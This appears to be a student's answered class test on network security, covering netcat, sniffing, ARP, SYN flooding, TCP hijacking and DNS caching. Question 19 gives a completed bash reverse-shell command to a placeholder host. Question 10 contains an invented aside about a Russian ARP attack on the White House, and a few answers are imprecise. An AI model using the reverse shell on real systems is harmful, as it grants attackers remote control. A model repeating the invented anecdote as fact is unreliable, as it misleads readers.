COMPUTER NETWORK SECURITY

CLASS TEST

SRN : PES1UG23CS433 **Name : Pranav Hemanth**

#	Question
1	**When we run "nc-lnu 9090",what do the options "lnu" mean?** Answer: nc is netcat. ‘l’ stands for listening mode for the netcat server, ‘n’ stands for numeric which means that dns lookup for mentioned argument is not required as it is numeric (ip) and ‘u’ stands for udp - udp packets are used for transmission
2	*udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udp.bind(("0.0.0.0", 9090))* **What does the bind do in the following code snippet?** Answer: It binds the socket to the particular port of the server to listen for incoming packets. Since IP is set to ‘0.0.0.0’ here, the server listens to all incoming packets from all IPs at the 9090 port **What is the meaning of 0.0.0.0?** Answer: The setting of 0.0.0.0 means all IPs are allowed. The socket listens to all incoming packets from all IPs **If we are only interested in the packets coming from the localhost, what should we do?** Answer: we can set the filter to localhost - we could change 0.0.0.0 to 127.0.0.1 (IP of the localhost)
3	**Why does sniffing use the superuser privilege?** Answer: Sniffing is a privileged operation as it uses raw sockets which are part of the transport layer. The socket program for this uses promiscuous mode for capturing all non filtered packets (sniffing) which requires privilege. As this operation is not in the application userspace, we need to give ‘sudo’ permission to run a sniffer program.
4	**Write down the tcpdump command to print out all the packets from port 100 to port 1530 on the interface enp0s3.** Answer: tcpdump -i enp0s3 portrange 100-1530 is the command for the above
5	**An integer 0xAABBCCDD is stored in a memory address starting from 0x1000.** **If the machine is a Big-Endian machine, what is the value stored in addresses 0x1000, 0x1001, 0x1002, and 0x1003, respectively?** Answer: For Big endian the allocations are: 0x1000 - AA 0x1001 - BB 0x1002 - CC 0x1003 - DD

	If the machine is a Little-Endian machine, how is this integer stored? Answer: For Little endian the allocations are: 0x1000 - DD 0x1001 - CC 0x1002 - BB 0x1003 - AA
6	**Assume that machines A and B are on the same network 10.3.2.0/24. Machine A sends out spoofed packets, and Machine B tries to sniff on the network. When Machine A spoofs packets with a destination 1.2.3.4, B can always observe the spoofed packets. However, when Machine A tries to spoof packets with a destination IP address 10.3.2.30, B cannot see the spoofed packets. There is nothing wrong with the spoofing or sniffing program. Apparently, the spoofed packet has never been sent out. What could be the reason?** Answer: Since the IP 1.2.3.4 isn't a machine on the same network, machine A sends the packet within the network. Due to this the machine B can sniff the packet. However since the IP 10.3.2.30 exists within the same subnet, machine A recognises the destination and first ARPs for the destination host. If B is not able to see the spoofed packet then it probably means that the ARP request was not replied to and hence the packet was never sent out from machine A.
7	**How can MAC addresses be used for tracking users?** Answer: MAC addresses are unique to each NIC and are burned on by the manufacturer. This hence allows us to treat a MAC address as a unique fingerprint for a device if it has a single NIC and either way can allow us to track a user.
8	**A computer with the IP address 10.8.8.5/24 tries to ping 10.8.8.8. An ARP request will be sent out first. What are the values of the following fields in the Ethernet header:** (1) destination MAC and Answer: FF:FF:FF:FF:FF:FF (2) source MAC? Answer: MAC address of the device with IP - 10.8.8.5
9	**A computer is on the 10.8.8.0/24 network with the default router set to 10.8.8.1. It tries to ping 93.184.216.34. Before the ping packet is sent out, an ARP request will be sent out. What is the value of the target IP address field of the ARP message?** Answer: Before the ping packet is sent out first the MAC of the router has to be known. For that the ARP request will contain the destination IP (10.8.8.1) as the router to get back the MAC of the router. After this the ping packet will have the destination IP as the final destination 93.184.216.34 while the mac keeps changing between each source destination hop
10	**Can we launch an ARP cache poisoning attack from a remote computer? Please explain.** Answer: No, it is not possible to launch an ARP cache poisoning attack from a remote computer as it is a local network attack (The Russian Federation launched an ARP poisoning attack on the white House and Donald Trump successfully averted it. We all didn't clap for him)
11	**In the MITM attack code, the attacker tries to modify the packets from A to B. After**

	intercepting such a packet, the attacker makes a copy of the packet, and then does the following. Why does the attacker have to delete the IP and TCP checksums? **newpkt = IP(bytes(pkt[IP]))** **del(newpkt.chksum)** **del(newpkt[TCP].chksum)** Answer: The attacker has to delete the IP and TCP checksums and then recalculate the values and add it to the spoofed packet so that the packet does not get dropped at the victim. The victim does a calculation and checks against the checksum and drops it if it is not consistent.
12	**Does a SYN flooding attack cause the victim server to freeze?** Answer: The SYN Flood attack causes the victim server to exhaust its half open connection queue as the victim server gets filled with partial connections which are never acknowledged. This prevents legitimate connections, hence this is a type of DoS (Denial of service) attack.
13	**In the SYN flooding attack, why do we randomize the source IP address? Why can't we just use the same IP address?** Answer: If we keep pinging from the same IP then the backlog on the server will only have an entry of that IP. This fails to successfully flood the backlog and hence fails the SYN flood attack. Therefore we need to use randomized IPs to fill this backlog up
14	**What will happen if the spoofed source IP address in a SYN flooding attack does belong to a machine that is currently running?** Answer: If the spoofed source IP in a SYN flood attack belongs to a machine which exists then the partial connection will receive an RST and hence exit the backlog. This will remove the entry from the backlog. However the probability of an IP belonging to a running machine is low and even if it happens most IPs will still be random and hence the attack still succeeds
15	**Can we launch a SYN flooding attack from a computer without using the root privilege?** Answer: No, we need root privilege for a SYN flood attack as it requires raw sockets to launch the attack. We also need privilege for creating packets with arbitrary source IPs and also creating the SYN packets.
16	**Are TCP Reset attacks effective against encrypted connections, such as SSH?** Answer: Yes, TCP Reset attacks are effective against encrypted connections as they exploit the tcp layer where the data and headers are unencrypted anyway. On behalf of the victim we keep sending RST packets to the server to reset connection hence breaking the connection between the two parties.
17	**In a TCP session hijacking attack, if the server is waiting for data starting from sequence number X, but we used X + 100 in our attack packet, will our attack succeed or fail?** Answer: The attack will fail as the server expects to get the ack for sequence no. X and instead gets X+100 which is outside the acceptable window. The packet will therefore get dropped in the victim server

18	**Suppose we run `nc -l 7070` on Machine 1 (IP address `10.0.2.6`). On Machine 2 we run the following command:** **`/bin/cat < /dev/tcp/10.0.2.6/7070 >&0`** **Describe what will happen.** Answer: Initially machine 1 is listening on port 7070 and machine 2 opens a tcp connection with machine 1. The command described will pipe/write whatever is typed in the terminal in machine 2 to machine 1.
19	**The following reverse-shell command is incomplete. Please complete it** **/bin/bash -i </dev/tcp/<IP>/9090 …** Answer: /bin/bash -i </dev/tcp/<IP>/9090 >/dev/tcp/<IP>/9090 2>&1
20	**How does the DNS client software running on a local DNS server know the IP addresses of the root server?** Answer: The local DNS server has a root hints file built in which has names and IPs of root DNS servers. This data is mostly static and is updated periodically if the root IPs change.
21	**The following is a DNS reply received by a local DNS server. Please describe which parts of the answer will not be cached by the DNS server. Please explain why.** **;; QUESTION SECTION:** **;www.example.com. IN A** **;; ANSWER SECTION:** **www.example.com. 259200 IN A 129.211.32.34** **;; AUTHORITY SECTION:** **example.net. 259200 IN NS ns.tklp-server.net** **example.com. 259200 IN NS ns.gltd-server.net** **;; ADDITIONAL SECTION:** **ns.gltd-server.net 259200 IN A 132.2.10.9** **ns.tklp-server.net 259200 IN A 130.3.11.39**

	ns.atfz-server.com 259200 IN A 128.0.31.66 Answer: the following records will not be cached. example.net. 259200 IN NS ns.tklp-server.net ns.gltd-server.net 259200 IN A 132.2.10.9 ns.tklp-server.net 259200 IN A 130.3.11.39 ns.atfz-server.com 259200 IN A 128.0.31.66 The above are not cached for security. If all cached data was directly used then attacking the local dns would be easier. These were legitimate attacks before and are safeguarded against now. Here the local dns caches the following: www.example.com 259200 IN A 129.211.32.34 - as it is the answer NS records for example.com record in the authority section is cached. However example.net NS records or A records aren't cached as they are outside the .com domain